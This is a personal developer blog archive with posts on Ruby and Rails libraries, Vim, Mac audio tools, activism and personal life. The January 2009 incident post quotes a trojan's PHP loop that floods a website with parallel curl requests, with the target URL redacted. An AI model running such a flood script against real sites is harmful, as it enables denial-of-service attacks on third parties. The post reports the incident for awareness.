February 20, 2012

Please Help Jess Keep Her Puppy

My delightful friend Jess, and her equally delightful dog (a very friendly and well-trained 2 year old German Shepherd cross) have to move out of their house in just 2 weeks' time, and haven’t managed to find anywhere else to live.

If they can’t find somewhere, Jess might have to give up her puppy, which would be a tragedy of epic proportions!

Jess is looking for either:

If you know anyone who might have a place, or might be interested in looking for one, please, please pass this on.

Jess’s current house is in Brunswick, and she'd love to stay in that general area, but is open to other options at this point.

If you help Jess find somewhere, you will have her and my eternal gratitude, and will be welcome to come and play with her puppy anytime. :)

If you can help, or know someone who can, email me (pete@notahat.com) and I’ll put you in touch.

November 26, 2011

Conway’s Game of Life

A few weeks ago, Ryan Bigg recorded a screencast in which he tries TDDing an implementation of Conway’s Game of Life.

I promptly put the smackdown on Ryan on Twitter.

I then sat down and recorded the beginning of a screencast in response.

Since then life has been busy, and I haven’t had time to finish it. In the interests of not wimping out, I'm publishing the first bit.

Download it here.

Comments and criticisms are welcome! The Game of Life is a rich enough problem that there are many ways to tackle it. I've picked a starting point that works for me, but there are others that are equally good or better.

Links:

June 4, 2011

File Navigation in Vim

The Destroy All Software screencast on File Navigation in Vim is excellent, but only briefly touches on navigating between open buffers.

I've made a short (2:40) follow-up screencast with some extra tips, tricks, and plugins that I use for getting around in Vim.

Download it here.

Links:

February 4, 2011

Hey, what’s up with Machinist?

I'm looking for a Melbourne pairing buddy for a couple of evenings (or a day on a weekend) to help me get Machinist moving again. Ping me on Twitter if you’re interested. (I'm happy to trade some time pairing on your open source project and/or buy you a beer or three.)

Machinist hasn’t had much love from me for a while. I did a beta release in the middle of last year, and haven’t really touched it since.

I'm officially declaring the main feature of that beta release (object caching) a failure. It’s a nice theory, but the side-effects of ActiveRecord object creation are too hard to track in practice. For a while now, I've been advising people to simply turn off caching.

So the lack of activity on Machinist is a combination of me being demoralised by my abject failure to come up with a compelling beta for Machinist 2, and generally being busy with my job at Envato.

That said, we use the Machinist 2 beta on Envato’s very large codebase, and there are plenty of people out there using both Machinist 1 and 2, so it’s far from dead. A little bit of spit and polish, and it shouldn’t be hard to get things moving again!

June 5, 2010

Rails 3, RSpec, and Cucumber

This is a walkthrough of getting Rails 3 up and running with RSpec and Cucumber.

Read more…

May 8, 2010

Starting Up

I gave a brief talk at Trampoline on Sunday distilling some lessons I've learnt from being involved with a bunch of startups. Thanks to the hard work of Nathan Sampimon, the video is now online:

Other videos from the day are on Vimeo.

February 13, 2010

Not Cool, Google

I've been trying out Google Buzz, just to see what it’s all about.

The first thing Buzz did was create a public profile from my existing Google info, complete with my photo and full name. Ok, I can live with that.

Then it took all the people I've been emailing lately, and added them to the publicly visible list of people I'm following.

Not cool, Google, not cool at all.

Read more…

January 25, 2010

Essential Rails Extras

A friend of mine is tackling his first serious Rails project, and asked me what gems or plugins I'd recommend.

I sat down to list out the gems I use regularly, and realised that the list was longer than I thought it would be, and that there were quite a few that I consider essential to any Rails project I start.

Read more…

January 12, 2010

Make IE8 Think It’s IE7

Maybe I'm the last web dev in the world to find this out, but I recently discovered that the new developer tools in IE8 let you switch it into IE7 rendering mode. Very handy!

I made a screencast to show you how.

Read more…

January 7, 2010

Form Element Borders

Forms seem particularly fiddly when it comes to getting layout working across browsers. The different default padding and border widths on text fields and text areas often throw things out.

I did a little survey of the combined padding and border thicknesses on various browsers, so that I can get this right without lots of cross-browser testing and associated tearing out of hair.

Read more…

January 5, 2010

Who’s In Charge?

Over at Talking Points Memo, the editor is hiring a publisher (via The Awl.)

Meanwhile, services like CDBaby make it possible for musicians to record and publish their own music, rather than relying on record labels.

There’s a pattern here: the internet makes production and distribution much cheaper, and that leads to a power shift.

When physical production and distribution were the dominant costs, it was the producers who controlled the business. Now that those costs are shrinking or even disappearing, control needn’t be in the producers' hands.

The moral of the story? If you’re a writer or a musician, think carefully before putting a publisher in charge of your work. Ask yourself what it is they do for the (usually very large) cut that they take.

September 6, 2009

SimpleSynth 1.1

SimpleSynth now supports Snow Leopard. You can find out more, or just download it.

Big thanks to Steven Palm for doing most of the work on this release.

SimpleSynth 1.1 should work on everything from OS X 10.4 up, on Intel and PPC. If you’re using something earlier than 10.6 and have problems, please let me know.

June 3, 2009

Machinist 1.0, now with DataMapper support

Machinist 1.0 is now available on GitHub!

The major feature is DataMapper support. Big thanks to Daniel Neighman for his help with this.

Update: I wrote up a simple example of how Machinist intelligently handles associations in DataMapper and ActiveRecord.

You can also now blueprint plain old Ruby objects.

It’s easy to add support for other ORM layers. If you’re keen, take a look at lib/machinist/active_record.rb for a comprehensive example of how it’s done.

Read more…

May 8, 2009

Asylum seekers as individuals

On April 25, the Lady Sandra, an oil rig support ship off Cairns, helped rescue 60 Afghan asylum seekers who arrived in an unseaworthy boat. The Lady Sandra’s skipper, exposed to the human side of the issue for the first time, immediately changed his views on boat people. He talks about it eloquently in an article from the Cairns Post.

Our policy of locking away asylum seekers means it’s easy not to think of them as individuals. As a group, they’re often portrayed as a threat, or as greedy people wanting to sneak into the country and take our jobs, or somehow undermine our way of life.

Think about this: What would it take to make you give up all your possessions, leave behind your home, your friends, your family? What would it take to make you risk your life by getting on a crowded, leaky boat, and try to sail half way around the world?

Would you do it because you wanted a holiday? Would you do it just because you felt you could make more money in another country? Would you do it if you were a terrorist wanting to attack a country?

No. You'd do it because you felt it was the only alternative. You'd do it because you were desperate, because you feared for your freedom, or your life.

The vast majority of asylum seekers are people just like us, trying to escape horrendous circumstances. I wish Australia’s treatment of them reflected the compassion I feel when I think about that.

May 3, 2009

Printing stone and circuits

More cool developments in personal fabrication: the RepRap prints its first circuit board, and some very clever folks have worked out how to make a 3D printer print in stone.

April 3, 2009

Links from my Trampoline talk

Last weekend, I gave a talk about personal fabrication at Trampoline. For anybody who was paying attention, here are links to some of the bits and pieces I covered:

February 5, 2009

Machinist and Rails controller tests

Machinist, my test-data generation plugin for Rails, has just gained some features that make it useful for controller tests. You can now do things like:

test "should create post" do
  assert_difference('Post.count') do
    post :create, :post => Post.plan
  end
  assert_redirected_to post_path(assigns(:post))
end

You an also call plan on ActiveRecord associations, making it easy to test nested controllers:

test "should create comment" do
  post = Post.make
  assert_difference('Comment.count') do
    post :create, :post_id => post.id, :comment => post.comments.plan
  end
  assert_redirected_to post_comment_path(post, assigns(:comment))
end

February 2, 2009

Three Times a Week

If you’re really unfit, getting fit is hard.

In the past year I've gone from not being able to run a kilometre, to running the 21km of a half-marathon (albeit pretty slowly). I can vouch for how hard it is.

There’s a ton of fitness advice out there, to the point that it’s totally overwhelming.

I'm going to give you the one bit of advice I wish I'd had when I was starting out. Here’s your new mantra:

3 times a week

Let me explain…

Read more…

January 23, 2009

A Cautionary Tale

The other day, I posted about how I was silly enough to install, on my poor, beleaguered MacBook Pro, some untrusted software containing a trojan.

Brian Krebs was kind enough to further highlight my idiocy in the Washington Post.

I don’t mind being the cautionary tale here. I know my computer security well. Hell, for a while I led the tech team for a company that builds DDoS defense systems! If anyone should have known how to avoid this mess, I should have.

The obvious lesson is: constant vigilance! Knowing your security does not automatically make you safe. Having a Mac does not automatically make you safe.

The companies that make Mac virus protection software are having fun with this of course, but I still don’t think virus protection software is needed on a Mac. My trojan didn’t get in through an email or a malicious web page; it got in through my stupidity.

I am, however, now running Little Snitch, which at least would have let me know a bit earlier that I had a problem. It’s a bit intrusive, so I'm not sure if I’ll have the patience to keep using it.

January 16, 2009

Hit by an OS X exploit

This morning I found a bunch of these processes chewing 100% CPU on my laptop (OS X 10.5.6):

php -r while(1){
  $mh = curl_multi_init(); $ch = array();
  for($i = 0; $i < 100; $i++){
    ^I$ch[$i] = curl_init(); ^Icurl_setopt($ch[$i], CURLOPT_URL, "http://...");
    ^Icurl_setopt($ch[$i], CURLOPT_HEADER, 0);
    ^Icurl_setopt($ch[$i], CURLOPT_RETURNTRANSFER, true);
    ^Icurl_multi_add_handle($mh, $ch[$i]);
  }
  do{ ^Icurl_multi_exec($mh, $running); }
  while($running > 0); 
  for($i = 0; $i < 100; $i++){ ^Icurl_multi_remove_handle($mh, $ch[$i]); }
  curl_multi_close($mh); 
}

That’s a PHP script, running as root, and DoSing a website. (I've taken out the website URL, but it is one that has recently been under a documented DDoS attack.)

I'm still trying to work out how these got fired up. My machine was otherwise idle at the time they started. Unfortunately I didn’t capture the PPID, so I'm not sure what kicked them off.

If you see something similar, use ps -Alww to capture as much info about them as you can, and see if you can work out what triggered them.

Update: And, thanks to Nathan de Vries, I know what triggered it.

root     94427   0.0  0.0   599816    172   ??  S     9Jan09   0:00.02
    /Users/pete/Downloads/iWork.09/iWork09Trial.mpkg/Contents/
    Packages/iWorkServices.pkg/Contents/Resources/iworkservices

My copy of the iWork 09 trial installer contained a trojan.

This copy was passed to me through multiple hands. If I'd done the smart thing, and got my copy straight from Apple, I wouldn’t have had this problem.

At least I know it’s not a remote exploit! I'm still contemplating formatting and reinstalling. Who knows what else might be floating around?

October 3, 2008

Slicing Your Attributes

Update: Added a reference to Eric Chapweske’s blog post about the problem. Thanks to James Healy for the link.

It’s common, in Rails controllers, to create and update models straight from the params hash:

@project = Project.new(params[:project])

ActiveRecord models default to having all attributes assignable this way. As a result, unless you’re very careful with attr_protected and attr_accessible, there’s a good chance your app has security holes.

Eric Chapweske has found that several popular, open-source Rails app have holes related to this problem.

ActiveSupport’s slice method to the rescue!

@project = Project.new(params[:project].slice(:name, :start_date))

What’s it do? From the documentation:

Returns a new hash with only the given keys.

July 25, 2008

iPhone I/O

Stop, for a moment, and contemplate the sheer number and variety of inputs and outputs on an iPhone.

Read more…

July 24, 2008

Converting a Shared Subversion Repository to Git

At Alien Camel, we've always run our Rails projects from a central Subversion repository. We've recently become Git converts, and love its distributed development capabilities, but the centralised repository model suits Rails deployment and we want to stick with it.

There’s plenty of documentation out there on how to convert a Subversion repo to Git, and there’s some stuff on setting up a shared Git repo, but its not obvious how to combine the two.

We've worked out how to do it, and successfully converted a couple of projects. This is our recipe.

Read more…

July 13, 2008

JavaScript with RubyCocoa

After doing some hacking on Prototype yesterday (to fix a Rails issue that’s been bugging me for ages — I’ll post more about that soon), I got to wondering if there might be a nicer way to run JavaScript tests from Rails.

A little research and some tinkering produced this:

#!/usr/bin/ruby

require 'osx/cocoa'
OSX.require_framework 'WebKit'

web_view = OSX::WebView.alloc.init
script_object = web_view.windowScriptObject

p script_object.evaluateWebScript("14 * Math.sin(0.3)").to_f

Seems like a good starting point for something, although exception handling is a problem.

May 31, 2008

MIDI Patchbay for Intel

I've finally, finally, finally done a tentative release of MIDI Patchbay that’s built for Intel.

MIDI Patchbay screenshot

It’s missing the old documentation, but I’ll sort that out once a few people have tested this release and confirmed that it works.

April 20, 2008

Sponsor me and support two good causes

I'm going to run the Melbourne half-marathon on October 12 to raise money for the Asylum Seeker Resource Centre.

Imagine fearing for your life so much that you leave behind your home, your possessions, your friends, even your family. Then imagine escaping to Australia and being locked up indefinitely, or living here but being unable to feed yourself because you’re denied the right to work, receive unemployment benefits or health care. This is the reality for many asylum seekers in Australia today.

The ASRC is one of the few places that asylum seekers can turn for food, health care, legal aid, and a host of other services. They achieve amazing things on a shoe-string budget thanks to the work of 400+ dedicated volunteers.

So sponsoring me means that you’re helping asylum seekers, who've already suffered horrible things in their home countries, be treated humanely and given a fair go here.

You can sponsor me in any way you like:

A half-marathon is 21km, and I can only run about 5km at the moment, which means I'm in for a lot of pain between now and October. There’s your second good cause: causing me pain. If you can’t get behind asylum seekers, get behind that!

You’re also welcome to join the team and run yourself, either for sponsorship or just for fun.

Post a comment here, or send me an email if you’re interested, or if you have any questions.

Update: The ASRC is a registered charity, so your sponsorship is tax deductible. Just let me know if you need a tax receipt.

March 9, 2008

Time Travel plugin for Rails

I've released a little plugin that lets you monkey around with the value returned by Time.now in your tests, so that you can easily test time-dependent code. This is something I use in just about every app I build, so I figured it was about time I cleaned it up and made it public.

More details and installation instructions are here.

March 8, 2008

Feeling screwed over by Apple

If you’re a developer outside the U.S., and you build an app with the iPhone SDK, you can’t test it on your own iPhone or iPod Touch.

Yep, you heard right. Only U.S. developers can actually run iPhone apps that they've built.

To be able to install your app on your iPhone or iPod touch, you have to sign up to the U.S. only developer program. The only clue as to when they’re going to open it up to the rest of the world is some fine print that says: “The iPhone Developer Program will initially be available to a limited number of developers in the U.S. and will expand to other countries in the coming months.”

I can understand that Apple isn’t ready for overseas developers to distribute their apps through iTunes; there are plenty of infrastructure and legal things to sort out there. What I can’t understand is why on earth I'm not even allowed to start building and testing an app!

I've complained to Apple about this, and if you’re thinking about doing iPhone development, you should too.

At least I didn’t pre-order an iPod Touch in preparation for the SDK release, like a couple of people I know.

February 28, 2008

The “remember me” checkbox

Here's a nifty solution that I came up with for implementing the "remember me" checkbox on login forms in Rails.

Read more…

February 7, 2008

SimpleSynth 1.0 released

Four years since the last release, and somebody had to go and find a bug, so here it is: SimpleSynth 1.0.

February 5, 2008

Not A Mock update released

I've finally done a proper release of Not A Mock, my mocking and stubbing framework for RSpec. Check out the web page for all the info, and a good example showing why it’s better than old-fashioned mocking/stubbing frameworks.

I talked about this at a Melbourne Ruby Group night last year and got lots of interest, and I got a release out that a few people have played with, but I never really pushed it. Now there’s a cleaner implementation, better documentation, and a bunch of fixes.

February 3, 2008

Not A Hat goes über-minimalist

Why? I spend way too much of my time tinkering with HTML and CSS. (Damn you, IE! Damn you to hell!) Having to do the same for my own web site was putting me off. Hopefully this super-simple version means that I will update it more often.

November 12, 2007

Install MySQL, Ruby, Rails, and Mongrel with MacPorts

MacPorts makes it simple and easy to install the latest versions of all the tools you need for Rails development. It conveniently keeps them separate from the ones that come with OS X, so things that depend on the OS X versions won’t break, and you can remove them again anytime you like. This guide will walk you through the installation process.

Read more…

October 15, 2007

Tasmanian forests

In 2004, I took a trip to Tasmania, partly to form my own opinion about the logging of native forests there.

There’s a tourist road which runs in a big loop off the highway. It’s a nice drive through some beautiful forest, and it takes you to a reserve where you can see some of the biggest trees remaining in the state. Many of the trees here, and throughout Tasmania’s forests, are hundreds of years old.

skitched-20071015-115653.jpg

The catch is that one end of the loop is closed off, so once you've reached the reserve, you need to turn around to get back to the highway. This, of course, is what most tourists do.

Read more…

August 28, 2007

Search interfaces make baby Jesus cry

I thought I'd try out webmenu. It all looked shiny and new, with big letters and red stripes. I eagerly clicked the “What type of cuisine?” popup, and, on a whim, picked Hungarian. What delights awaited me behind the search button?

webmenu.com.au Search - Restaurants / Menus

Grrr. When will interface designers learn? Never make me do a search to find out there are no results.

June 16, 2007

I'm now a tumblogger

Check out my shiny new tumblog! I've added a link to it in the sidebar as well.

The theory goes that I’ll post links to generally cool and interesting things on the tumblog, and I’ll save this blog for stuff I'm doing or building.

Hmm…better start doing and building things.

June 9, 2007

Site problems

The server that hosts this site is playing up, so it’ll be up and down for a while. We’re working on it.

March 15, 2007

Plea for help with wiring

The Asylum Seeker Resource Centre, where I do occasional volunteer work, is moving into a new building.

I'm looking for anyone who knows about wiring up offices for network and phones, and can give me an estimate of costs. If you know anyone, or know anyone who knows anyone, please refer them to me.

The building has lots of existing network points, but the cabling running to what must have been the patch panel has all been chopped off at the wall. I'm not sure if we can salvage it, give it’s two feet short and unlabelled.

It’s three floors, and we’re going to have about 80 machines to start with, so it’s a biggish setup. The deadline for the move is June 4.

Please help!

January 10, 2007

Common Sense in Business

There’s a great talk from Scott Kriens, CEO of Juniper Networks, in the Entrepreneurial Thought Leaders series of podcasts. This is good listening for anyone running a company, big or small. He’s a very clear and down to earth thinker.

December 27, 2006

Kangaroo Island

IMG_1756.jpg

I finally got around to uploading some of the better photos from my trip to Kangaroo Island in November. It was a spectacular week, and really left me wondering what on earth I'm doing living in the city.

The highlight was a weekend spent at the Pelican Lagoon Research & Wildlife Centre. Peggy and Mike, the resident researchers, are the most lovely people you could hope to meet, as were all the others taking part in the weekend with us. I now know how to radio track echidnas through the bush, and we had the incredible experience of cutting open a termite mound to catch the recently hatched goannas living inside for weighing and measuring. I can’t wait to go back.

December 18, 2006

Ruby Meets Logo

The Ruby Quiz a little while ago was all about turtle graphics. You remember turtle graphics from school, right? Logo? Forward 20, Right 90, etc?

It turns out its pretty trivial to implement all the basic turtle graphics operations in Ruby. My crack at it came out to about 130 judiciously commented lines. The folks at Ruby Quiz were kind enough to use mine as their example solution, so you can check out the question and my solution here.

This got me thinking. Why can’t I have an interactive turtle, just like I could in Logo? So a bit of tinkering with RubyCocoa, and about 30 more lines of code and:

Type some Ruby into the box, hit the Process button, and the program executes the Ruby in the context of the Turtle object exactly as defined in the quiz.

This is a great demonstration of the powerful idea that, if you write a program in a scripting language, then having it scriptable to the lowest level is simple.

Now, to start working on the next stage of the project. Stay tuned…

December 18, 2006

Working From Home

Episode 2 of Craig Ambrose’s podcast series on freelancing is excellent, and relevant to those outside the Rails crowd too. Highly recommended listening.

In it he talks about how to build good work habits without the routine of an office. I've learnt a lot of the lessons in there the hard way, and am still learning some.

I find it very hard to build good habits, simply because I'm easily sidetracked. For example, I'm currently trying to get back into regular exercise again, but I can easily get to the end of the day without even thinking about it.

To help remember, I have Joe’s Goals set as my browser home page. I put things like “Go for a run” or “Start work by 9” in there, and it gives me a nice mental prod every time I open a new browser window. I also get to put nice green ticks in when I do things, and seeing how I'm doing over time is good reinforcement. (I'd prefer gold stars or elephant stamps, but nothing’s perfect.)

Finally, my favourite quote from Craig’s podcast:

“Even if you’re crippled, at least you can still code.”

Priceless advice.

December 9, 2006

Pete Mouse

So my buddy Cris, in what must have been an extremely bored moment, took the Danger Mouse logo I was using as an instant messaging icon, and turned it into a Pete Mouse logo. My life is now complete.

December 9, 2006

The Not A Hat blog

I finally got around to porting my blog code over from Alien Camel. Now I just have to write something…